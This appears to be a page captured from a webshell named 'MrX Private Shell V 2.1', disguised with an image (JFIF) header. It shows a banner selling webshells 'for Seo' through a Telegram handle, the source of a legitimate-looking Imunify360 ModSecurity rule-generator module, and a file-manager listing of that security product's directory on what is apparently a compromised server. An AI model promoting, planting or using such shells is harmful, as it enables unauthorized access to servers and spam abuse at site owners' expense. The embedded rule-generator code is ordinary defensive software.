����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import json
import logging
import os
import re
from collections import defaultdict
from typing import Any
from peewee import SqliteDatabase
RULES_CONF_PATTERN = "<IfModule security2_module>\n{}\n</IfModule>"
GENERAL_RULES = "/var/imunify360/files/modsec/v2/general_rules.json"
logger = logging.getLogger(__name__)
class DatabaseNotFoundError(Exception):
pass
def map_components_versions_to_tags(
components_sqlite_file: str, tags_mapping: dict[str, str], is_coraza: bool
) -> str:
if not os.path.isfile(components_sqlite_file):
raise DatabaseNotFoundError(
"App detector database '{}' couldn't be found.".format(
components_sqlite_file
)
)
db = SqliteDatabase(components_sqlite_file)
tags_regex = []
for tag, reg in tags_mapping.items():
tags_regex.append((tag, re.compile(reg)))
cursor = db.execute_sql("select path, title from apps")
path_tags = defaultdict(set)
cache = dict()
for path, title in cursor:
tag = cache.get(title, None)
if tag is not None:
path_tags[path].add(tag)
else:
for tag, reg in tags_regex:
if reg.match(title):
path_tags[path].add(tag)
cache[title] = tag
break
return generate_conf(path_tags, is_coraza)
def generate_conf(path_tags: defaultdict[Any, set], is_coraza: bool) -> str:
"""
Generate conf file with rules
Use json.dumps for converting special symbols like \n and
escape quoters inside quoters
:param is_coraza:
:param path_tags:
:return:
"""
config = []
if is_coraza:
if os.path.exists(GENERAL_RULES):
with open(GENERAL_RULES, "r") as f:
general_rules = json.load(f)
else:
general_rules = ["noshow", "service_im360"]
logger.warning(
"File %s does not exist. Using fallback", GENERAL_RULES
)
for path, tags in path_tags.items():
config.append(
{
"path": path,
"enabled_tags": sorted(list(tags) + general_rules),
}
)
return json.dumps(
sorted(config, key=lambda v: v["path"]), separators=(",", ":")
)
else:
for path, tags in path_tags.items():
config.append(
"""<Directory {}>
SecRuleRemoveByTag ^(?!(?:service.*|noshow|{})$)
</Directory>""".format(
json.dumps(path), "|".join(sorted(tags))
)
)
return RULES_CONF_PATTERN.format("\n".join(sorted(config)))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| features | Folder | 0755 |
|
|
| panels | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| csf.py | File | 11.29 KB | 0644 |
|
| fail2ban.py | File | 227 B | 0644 |
|
| int_config.py | File | 1.33 KB | 0644 |
|
| modsec_app_version_detector.py | File | 2.63 KB | 0644 |
|
| modsec_audit_log.py | File | 50.45 KB | 0644 |
|
| modsec_cache_dir.py | File | 2.3 KB | 0644 |
|
| ossec.py | File | 7.78 KB | 0644 |
|
| pam.py | File | 5.18 KB | 0644 |
|
| proactive.py | File | 3.44 KB | 0644 |
|
| remoteip.py | File | 3.23 KB | 0644 |
|
| running_ids.py | File | 1.77 KB | 0644 |
|
| shared_disabled_rules.py | File | 4.72 KB | 0644 |
|
| smtp_blocking.py | File | 16.64 KB | 0644 |
|
| waf_rules_configurator.py | File | 4.69 KB | 0644 |
|
| webshield.py | File | 6.67 KB | 0644 |
|
| webshield_mode.py | File | 1.15 KB | 0644 |
|
| whitelist_rbl.py | File | 7.36 KB | 0644 |
|